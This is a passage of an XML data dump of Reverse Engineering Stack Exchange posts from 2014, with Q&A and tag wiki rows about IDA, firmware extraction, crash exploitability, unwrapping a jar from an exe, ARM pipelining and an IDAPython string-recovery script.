assemble(asm_new_adjusted)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Of course this is limited by the number of CPU architectures. You didn't state your requirements (unless it was written with invisible pixels ;))&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2014-01-22T11:43:58.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3516" PostTypeId="1" AcceptedAnswerId="3525" CreationDate="2014-01-23T10:56:31.777" Score="10" ViewCount="1035" Body="&lt;p&gt;What I'm doing now is placing an awful lot of comments about function variable values, global variable values as comments in my IDA database, which I find ugly after a while and obviously not a best practice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if it's possible to store runtime variable values of your target process from a dynamic debugging session in your IDA database(or any other storage/tool) in some way. For example you run IDA debugger, or some external tool like olly/immunity, and store the encountered values (globals, function parameters) in IDA, so you can see actual values when doing your static analysis in IDA (for example on mouse over).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if anybody done this before, but it think it would be a really helpful feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this possible, any similar tool/solution out there you know of? How do you process static+dynamic data of the reversed application?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not tied to IDA, but I find that environment to be most fitting for storing my result data. I'm interested in any solution.&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="1562" LastEditDate="2014-01-23T14:48:49.173" LastActivityDate="2014-01-23T14:48:49.173" Title="Static analysis data combined with dynamic analysis knowledge" Tags="|ida|binary-analysis|static-analysis|dynamic-analysis|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3517" PostTypeId="5" CreationDate="2014-01-23T13:42:10.367" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-01-23T13:42:10.367" LastActivityDate="2014-01-23T13:42:10.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3518" PostTypeId="4" CreationDate="2014-01-23T13:42:10.367" Score="0" Body="Represent all the active functions in the program at a precise moment. It is composed of a chain of functions where each function has a caller (parent) and a callee (descendant), except for the `main` function which has only a callee, and the last one which has only a caller." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-01-24T07:22:55.687" LastActivityDate="2014-01-24T07:22:55.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3519" PostTypeId="5" CreationDate="2014-01-23T13:44:46.033" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-01-23T13:44:46.033" LastActivityDate="2014-01-23T13:44:46.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3520" PostTypeId="4" CreationDate="2014-01-23T13:44:46.033" Score="0" Body="As assembler languages have no built-in primitives to handle arguments passing while starting a procedure, most of assembler programs and compiler do agree on calling conventions to describe how to emulate arguments passing at the assembler level." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-01-23T15:50:55.873" LastActivityDate="2014-01-23T15:50:55.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3521" PostTypeId="5" CreationDate="2014-01-23T13:47:13.123" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-01-23T13:47:13.123" LastActivityDate="2014-01-23T13:47:13.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3522" PostTypeId="4" CreationDate="2014-01-23T13:47:13.123" Score="0" Body="A well known disassembler from the GNU `binutils` package. Only based on the linear sweep techniques and a few more heuristics when symbols can help." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-01-23T15:51:03.497" LastActivityDate="2014-01-23T15:51:03.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3523" PostTypeId="5" CreationDate="2014-01-23T13:49:05.757" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-01-23T13:49:05.757" LastActivityDate="2014-01-23T13:49:05.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3524" PostTypeId="4" CreationDate="2014-01-23T13:49:05.757" Score="0" Body="Process of translating an unstructured assembler program into a structured high-level language program (e.g. translation from x86 to C)." OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-01-24T07:23:08.500" LastActivityDate="2014-01-24T07:23:08.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3525" PostTypeId="2" ParentId="3516" CreationDate="2014-01-23T14:41:28.927" Score="13" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://github.com/deresz/funcap&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;&lt;code&gt;funcap&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt; uses IDA's debugging API to record function&#xA;  calls in a program together with their arguments (before and after).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is very useful when dealing with malware which uses helper&#xA;  functions to decrypt their strings, or programs which make many&#xA;  indirect calls.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gtH5U.png&quot; alt=&quot;a&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-01-23T14:41:28.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3526" PostTypeId="1" AcceptedAnswerId="3528" CreationDate="2014-01-23T16:55:36.967" Score="26" ViewCount="67001" Body="&lt;p&gt;Appreciate it's a broad question, but despite days of Googling I haven't found straight forward explanation of the general principle of how to &quot;capture&quot; or copy an unkown firmware from a piece of hardware. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I gather once you have it you can begin to use various tools to analyse it, but what I want to understand is how to get it in the first place. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what i understand you need to connect to it via a JTAG or UART connection , after that I'm a bit lost.&lt;/p&gt;&#xA;" OwnerUserId="3735" LastActivityDate="2018-08-30T16:12:28.313" Title="How do I extract a copy of an unknown firmware from a hardware device?" Tags="|hardware|firmware|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3527" PostTypeId="2" ParentId="3526" CreationDate="2014-01-23T17:13:12.170" Score="8" Body="&lt;p&gt;Extracting the content of a hardware chip is known as &quot;&lt;strong&gt;snarf&lt;/strong&gt;&quot;ing. (That term may help with your Google searches.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To snarf the contents of a chip, you need a ROM reader/programmer, such as one of the devices from &lt;a href=&quot;http://www.needhams.com/programmers.htm&quot; rel=&quot;noreferrer&quot;&gt;http://www.needhams.com/programmers.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FBeyZ.jpg&quot; alt=&quot;ROM programmer&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-01-23T17:13:12.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3528" PostTypeId="2" ParentId="3526" CreationDate="2014-01-23T17:19:44.230" Score="23" Body="&lt;p&gt;As you may suspect, it very much depends on the hardware. In general, you are correct, JTAG and/or UARTs can be often be used to get a copy of the firmware (downloading a firmware update from the vendor is usually the easiest way of course, but I'm assuming that is not what you mean). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;JTAG implementations typically allow you to read/write memory, and flash chips are typically &quot;mapped&quot; into memory at some pre-defined address (finding that address is usually a matter of Googling, experience, and trial and error); thus, you can use tools like &lt;a href=&quot;http://urjtag.org/&quot; rel=&quot;noreferrer&quot;&gt;UrJTAG&lt;/a&gt; and &lt;a href=&quot;http://openocd.sourceforge.net/&quot; rel=&quot;noreferrer&quot;&gt;OpenOCD&lt;/a&gt; to read the contents of flash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UART is just a serial port, so what interface or options it provides (if any) is entirely up to the developer who created the system; most bootloaders (e.g., &lt;a href=&quot;http://www.denx.de/wiki/U-Boot&quot; rel=&quot;noreferrer&quot;&gt;U-Boot&lt;/a&gt;) do allow you to read/write flash/memory, and will dump the ASCII hex to your terminal window. You then would need to parse the hexdump and convert it into actual binary values. Again, YMMV and there may be no way to dump memory or flash via the UART.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other devices may have other mechanisms that provide similar functionality; for example, Microchip's PIC microcontrollers use &lt;a href=&quot;http://en.wikipedia.org/wiki/In-circuit_serial_programming&quot; rel=&quot;noreferrer&quot;&gt;ICSP&lt;/a&gt; (In Circuit Serial Programming) interfaces to read, write, and debug firmware. Such interfaces are usually proprietary, and may or may not be documented (Microchip's is well known).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vendors may take steps to protect or disable debug interfaces such as JTAG, UART and ICSP, but often you can &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2337/how-to-dump-flash-memory-with-spi&quot;&gt;dump the flash chip&lt;/a&gt; directly (this is usually faster than JTAG/UART, but may require some de/soldering). For devices such as microcontrollers that have the flash chip built-in (i.e., the flash chip is not exposed to you), you may need to resort to &lt;a href=&quot;http://www.bunniestudios.com/blog/?page_id=40&quot; rel=&quot;noreferrer&quot;&gt;more advanced techniques&lt;/a&gt; for defeating such copy-protections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, since I don't deal much with microcontroller based systems, dumping the flash chip directly is usually my go-to for grabbing a copy of the firmware from the device.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-01-23T17:19:44.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3529" PostTypeId="1" AcceptedAnswerId="3530" CreationDate="2014-01-23T18:17:48.977" Score="3" ViewCount="273" Body="&lt;p&gt;I have a crash that is exploitable, the information is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  Exploitability Classification: EXPLOITABLE&#xA;    Recommended Bug Title: Exploitable - User Mode Write AV starting at myfunction!mycomponet+0x0000000000018204 (Hash=0xad0842a8.0x0as0d4ca)&#xA;&#xA;User mode write access violations that are not near NULL are exploitable.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only have experience on stack overflow, and here don't see eip overwrite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that fault, is when pass to vulnerable function a value greater than 80000001, the crash occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't know which type of vulnerability is it, heap overflow, integer, format string , command injection etc.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question, with the exploitable response indicate the vulnerabilities ??? &#xA;I don't understand the exploitable response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion or indication ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my newbie question, I am a beginner in exploiting.&lt;/p&gt;&#xA;" OwnerUserId="3722" LastEditorUserId="2354" LastEditDate="2014-01-23T21:39:34.320" LastActivityDate="2014-01-23T21:39:34.320" Title="Help on Exploitable response" Tags="|exploit|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3530" PostTypeId="2" ParentId="3529" CreationDate="2014-01-23T18:23:22.340" Score="1" Body="&lt;p&gt;It was classified as exploitable because it's a write access-violation to a non-null address. In theory, an attacker may be able to exploit this vulnerability to write arbitrary code to an arbitrary address.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-01-23T18:23:22.340" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3531" PostTypeId="1" CreationDate="2014-01-24T02:46:32.230" Score="2" ViewCount="484" Body="&lt;p&gt;I want to reuse a dll which is imported in another exe. Is there any tool that can extract dlls (load-time dynamic linking &amp;amp; run-time dynamic linking) of an exe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pu7f3.png&quot; alt=&quot;Load-time dynamic linking --&amp;gt; I want extract a copy of each dll (user32.dll, kernel32.dll ...)&quot;&gt; Load-time dynamic linking --&gt; I want extract a copy of each dll (user32.dll, kernel32.dll ...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For run-time dynamic linking: I want to extract the dlls that are loaded via LoadLibrary functions.&lt;/p&gt;&#xA;" OwnerUserId="3737" LastEditorUserId="3737" LastEditDate="2014-02-06T14:52:04.577" LastActivityDate="2014-02-06T14:52:04.577" Title="Extract dlls in Import Directory &amp; runtime tool" Tags="|windows|dll|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3532" PostTypeId="1" AcceptedAnswerId="3905" CreationDate="2014-01-24T07:42:44.657" Score="9" ViewCount="23005" Body="&lt;p&gt;Is there any way to get a jar file from a jar wrapped using a exe wrapper.&#xA;I have an exe file and I know that it was wrapper using exe wrapper (&lt;a href=&quot;http://launch4j.sourceforge.net/&quot;&gt;launch4j&lt;/a&gt; to be precise).&#xA;How do I unwrap this jar to get back the jar.&#xA;I have seen that I can unwrap it in Linux using &lt;a href=&quot;http://fileroller.sourceforge.net/&quot;&gt;fileroller&lt;/a&gt;, how do I do it in windows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ADD : How is it different if it wrapped using wrappers other than launch4j&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3740" LastEditorUserId="3740" LastEditDate="2014-01-27T13:04:25.353" LastActivityDate="2020-01-19T18:24:54.810" Title="Get jar back from wrapped(into exe) jar" Tags="|decompilation|executable|jar|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3533" PostTypeId="5" CreationDate="2014-01-24T07:47:01.760" Score="0" Body="&lt;p&gt;Operating system for &lt;strong&gt;PC-AT/XT x86++&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mostly known was &lt;strong&gt;MS-DOS&lt;/strong&gt; from Microsoft but also other clones surface's&lt;/li&gt;&#xA;&lt;li&gt;manages first 1MB of memory (20bit segmentated addressing from i8086/8088++)&lt;/li&gt;&#xA;&lt;li&gt;640KB for programs&lt;/li&gt;&#xA;&lt;li&gt;rest for system, drivers&lt;/li&gt;&#xA;&lt;li&gt;memory above 640KB was accessible only by drivers&lt;/li&gt;&#xA;&lt;li&gt;himem.sys - access to 640-1024 KB &lt;/li&gt;&#xA;&lt;li&gt;emm386.sys or qemm386.sys - access to 1-64 MB (XMS memory)&lt;/li&gt;&#xA;&lt;li&gt;support for 2 FDD FAT11&lt;/li&gt;&#xA;&lt;li&gt;HDD with FAT16 support&lt;/li&gt;&#xA;&lt;li&gt;natively it uses text video modes on CGA/EGA/VGA 80x25 characters&lt;/li&gt;&#xA;&lt;li&gt;support these file extensions&lt;/li&gt;&#xA;&lt;li&gt;*.sys - driver&lt;/li&gt;&#xA;&lt;li&gt;*.com - executable fitted inside single 64KB segment&lt;/li&gt;&#xA;&lt;li&gt;*.exe - executable with more segments&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="4709" LastEditDate="2014-12-08T13:02:53.487" LastActivityDate="2014-12-08T13:02:53.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3534" PostTypeId="4" CreationDate="2014-01-24T07:47:01.760" Score="0" Body="Disc Operating System, started as 16-bit OS for PC-AT/XT x86++ platforms" OwnerUserId="4709" LastEditorUserId="53" LastEditDate="2014-12-07T23:38:58.970" LastActivityDate="2014-12-07T23:38:58.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3535" PostTypeId="5" CreationDate="2014-01-24T07:49:34.680" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-01-24T07:49:34.680" LastActivityDate="2014-01-24T07:49:34.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3536" PostTypeId="4" CreationDate="2014-01-24T07:49:34.680" Score="0" Body="A small computer program designed to self-reproduce and spread over computers." OwnerUserId="-1" LastEditorUserId="53" LastEditDate="2015-09-16T20:22:02.580" LastActivityDate="2015-09-16T20:22:02.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3537" PostTypeId="5" CreationDate="2014-01-24T07:51:57.960" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-01-24T07:51:57.960" LastActivityDate="2014-01-24T07:51:57.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3538" PostTypeId="4" CreationDate="2014-01-24T07:51:57.960" Score="0" Body="USB (Universal Serial Bus) is an industry standard defining the connectors, cables, and protocols used for communication and power supply between multiple devices." OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-04-28T09:30:14.950" LastActivityDate="2014-04-28T09:30:14.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3539" PostTypeId="5" CreationDate="2014-01-24T07:53:08.793" Score="0" Body="&lt;p&gt;Use this tag for questions about reverse engineering the iOS operating system, runtime, or applications.&lt;/p&gt;&#xA;" OwnerUserId="17972" LastEditorUserId="17972" LastEditDate="2016-11-19T04:40:31.573" LastActivityDate="2016-11-19T04:40:31.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3540" PostTypeId="4" CreationDate="2014-01-24T07:53:08.793" Score="0" Body="The operating system by apple for mobile devices" OwnerUserId="3740" LastEditorUserId="3740" LastEditDate="2014-01-24T12:39:30.590" LastActivityDate="2014-01-24T12:39:30.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3541" PostTypeId="1" AcceptedAnswerId="3542" CreationDate="2014-01-24T12:12:47.157" Score="6" ViewCount="166" Body="&lt;p&gt;I was just disassembling and debugging an ARM binary for fun and I noticed something unusual. Consider the following set of instructions:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x00008058 &amp;lt;+4&amp;gt;: mov r1, pc&#xA;   0x0000805c &amp;lt;+8&amp;gt;: add r1, r1, #24&#xA;   0x00008060 &amp;lt;+12&amp;gt;:    mov r0, #1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried setting a breakpoint at &lt;code&gt;0x0000805c&lt;/code&gt; and checked the value of the register &lt;code&gt;r1&lt;/code&gt;. I was expecting to see &lt;code&gt;0x0000805c&lt;/code&gt; -- however, interestingly the value is &lt;code&gt;0x8060&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this? Is this because of some sort of instruction pipelineing? &lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="1485" LastEditDate="2014-01-24T16:27:23.963" LastActivityDate="2014-01-24T16:27:23.963" Title="ARM debugging interesting behavior" Tags="|debugging|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3542" PostTypeId="2" ParentId="3541" CreationDate="2014-01-24T14:13:39.930" Score="9" Body="&lt;p&gt;Yes, it's because of pipelining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://winarm.scienceprog.com/arm-mcu-types/how-does-arm7-pipelining-works.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://winarm.scienceprog.com/arm-mcu-types/how-does-arm7-pipelining-works.html&lt;/a&gt; --&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sIrwO.gif&quot; alt=&quot;ARM pipelining&quot;&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;PC (Program Counter) is calculated &lt;strong&gt;8 bytes ahead&lt;/strong&gt; of current&#xA;  instruction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-01-24T14:13:39.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3543" PostTypeId="2" ParentId="3532" CreationDate="2014-01-24T15:47:49.670" Score="13" Body="&lt;p&gt;I assume you want to extract a JAR file wrapped inside a .exe generated by launch4j. Launch4j places the jar file in the overlay of the executable, that is after the PE file. To extract it you can search for the string 'PK' from the bottom of the file to find the JAR archive, you should see something like this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jA4N2.png&quot; alt=&quot;The jar file&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you found it, remove all the content before it and save it to a new file with &quot;.jar&quot; extension. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is actually a faster way to do it using &lt;strong&gt;7zip&lt;/strong&gt;. If you open the file with 7zip it will open the JAR file directly (a JAR is just a ZIP file), you can then extract the files and recreate the ZIP archive if needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nKBia.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-01-24T15:47:49.670" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3544" PostTypeId="1" AcceptedAnswerId="3545" CreationDate="2014-01-24T18:02:26.497" Score="2" ViewCount="1490" Body="&lt;p&gt;I have found a vulnerability that write access-violation to a non-null address, but I don't know how exploit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that fault, is when pass to vulnerable function a value greater than 80000001, the crash occurs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my problem, I only know typical buffer stack overflow, and need learn how exploit this, and knowing what is vulnerability (heap, format string, integer overflow, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am confused because only crash when is 800000001 (negative), not with 80000000 or 80000002. With this response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Exploitability Classification: EXPLOITABLE&#xA;    Recommended Bug Title: Exploitable - User Mode Write AV starting at myfunction!mycomponet+0x0000000000018204 (Hash=0xad0842a8.0x0as0d4ca)&#xA;&#xA;User mode write access violations that are not near NULL are exploitable.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What vulnerability is and how exploit ? Any suggestion or recommended lecture ?&lt;/p&gt;&#xA;" OwnerUserId="3722" LastEditorUserId="53" LastEditDate="2014-01-24T23:04:07.680" LastActivityDate="2014-01-24T23:04:07.680" Title="How exploit write access-violation to a non-null address" Tags="|exploit|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3545" PostTypeId="2" ParentId="3544" CreationDate="2014-01-24T20:12:03.427" Score="1" Body="&lt;p&gt;Sorry this should be a comment but dont have enough reputation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is too vague for people to help you. Do you have the disassembly around the crash? It only crashes when what is 8000000001? That makes it sound like potentially an integer overflow. Where is it writing? Can you control the address that its writing to? Do you have control of what is being written?&lt;/p&gt;&#xA;" OwnerUserId="3709" LastActivityDate="2014-01-24T20:12:03.427" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3546" PostTypeId="1" CreationDate="2014-01-24T23:02:38.030" Score="7" ViewCount="2067" Body="&lt;p&gt;Sometimes strings are dynamically constructed in programs due to compiler optimization or simply to hide the strings (e.g. in malware). For example :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xgo1Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When displaying the bytes as chars we can see the string &lt;code&gt;'INVALID FILE SIZE'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WC9w5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know a script to extract those strings in IDA? I will write one if it does not exist but I figured I would ask first.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="53" LastEditDate="2014-01-24T23:48:26.837" LastActivityDate="2014-01-25T16:26:05.363" Title="Extracting dynamically constructed strings in IDA" Tags="|ida|" AnswerCount="2" CommentCount="1" ClosedDate="2014-01-26T10:40:08.743" ContentLicense="CC BY-SA 3.0" />
  <row Id="3547" PostTypeId="2" ParentId="3546" CreationDate="2014-01-25T00:30:07.190" Score="4" Body="&lt;p&gt;Select the block of code you would like to convert and then run the following IDAPython function. Comment out the call to MakeComm if you don't want a comment added.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def convert_to_char():&#xA;    current = SelStart()&#xA;    end = SelEnd()&#xA;    tmp = ''&#xA;    while current &amp;lt; end:&#xA;        OpChr(current,1)&#xA;        try:&#xA;            tmp += chr(GetOperandValue(current, 1))&#xA;        except:&#xA;            tmp += '_'&#xA;        current = NextHead(current)&#xA;    MakeComm(PrevHead(current), tmp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding some logic to verify the operand might be useful if other instruction are also in the selected region. &lt;/p&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2014-01-25T00:30:07.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3548" PostTypeId="2" ParentId="3546" CreationDate="2014-01-25T02:16:44.987" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://www.arbornetworks.com/asert/2013/07/asert-mindshare-finding-byte-strings-using-idapython/&quot; rel=&quot;nofollow&quot;&gt;Finding Byte Strings Using IDAPython&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is exactly what you were looking for from Assert MindshaRE&#xA;Effectively this script will go through instruction by instruction to find moves of ASCII characters into a memory location. It gets fancy and used QT to create an interactive table however you can gut out that part and just have it place a comment at the instruction that gets used.&lt;/p&gt;&#xA;" OwnerUserId="3709" LastEditorUserId="3709" LastEditDate="2014-01-25T16:26:05.363" LastActivityDate="2014-01-25T16:26:05.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3549" PostTypeId="2" ParentId="2977" CreationDate="2014-01-25T02:19:25.187" Score="7" Body="&lt;p&gt;&lt;a href=&quot;http://www.arbornetworks.com/asert/2013/07/asert-mindshare-finding-byte-strings-using-idapython/&quot;&gt;Finding Byte Strings using IDAPython&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASERT MindshaRE solves this right. No need to actually run the code which isn't always possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Effectively this script will go through instruction by instruction to find moves of ASCII characters into a memory location. It gets fancy and used QT to create an interactive table however you can gut out that part and just have it place a comment at the instruction that gets used.&lt;/p&gt;&#xA;" OwnerUserId="3709" LastEditorUserId="3709" LastEditDate="2014-01-25T03:43:37.633" LastActivityDate="2014-01-25T03:43:37.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3550" PostTypeId="1" AcceptedAnswerId="3551" CreationDate="2014-01-25T11:34:23.220" Score="4" ViewCount="2654" Body="&lt;p&gt;I am a beginner in Reverse Engineering and am trying to improve my skill by participating in any CTF's I can and solving CrackMe's. I am trying to find out why Binary Exploitation and Reverse Engineering are always separated as two different topics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Question is simple:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is Reversing different from Binary Exploitation?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3689" LastActivityDate="2014-01-25T11:41:11.360" Title="Difference Between Binary Exploitation and Reverse Engineering?" Tags="|ida|ollydbg|binary-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3551" PostTypeId="2" ParentId="3550" CreationDate="2014-01-25T11:41:11.360" Score="5" Body="&lt;p&gt;Yes, it is different. Binary exploitation intended to change behaviour of the binary, and reverse engineering intended to understand how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BInary exploitation requires some reverse engineering, reverse engineering doesn't necessarily requires binary exploitation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best example I know about it is overcoming DRM protections of media content.&#xA;It requires a lot of reverse engineering and almost not requires binary exploitation.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-01-25T11:41:11.360" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3553" PostTypeId="1" CreationDate="2014-01-25T17:06:32.280" Score="2" ViewCount="437" Body="&lt;p&gt;I've noticed something strange. OllyDbg seems to correctly load Wine's own dlls. But when I check PE header in OllyDBG it differs from that what I would expect. In all other cases file content is an exact match of PE header in OllyDbg. But in case of Wine libraries even the file signature is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First three bytes in file: &#xA;4D 5A 40&#xA;OllyDbg memory dump: &#xA;4D 5A 90&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the rest of loaded library differs as well. I did not notice such behaviour with few Windows dlls that I have checked. Googling didn't help either. Does anybody know what's going on?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;more finds&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Example of differences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in file - OllyDbg PE header&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DOS_PEOffset 60 - 40&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Number of Sections 3 - 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OllyDbg seems to be able to read exported Wine dll symbols despite of my own file analysis expecting Export Table RVA and Export Table Size to be 0. Please note that my own analysis works correctly on normal Windows dll 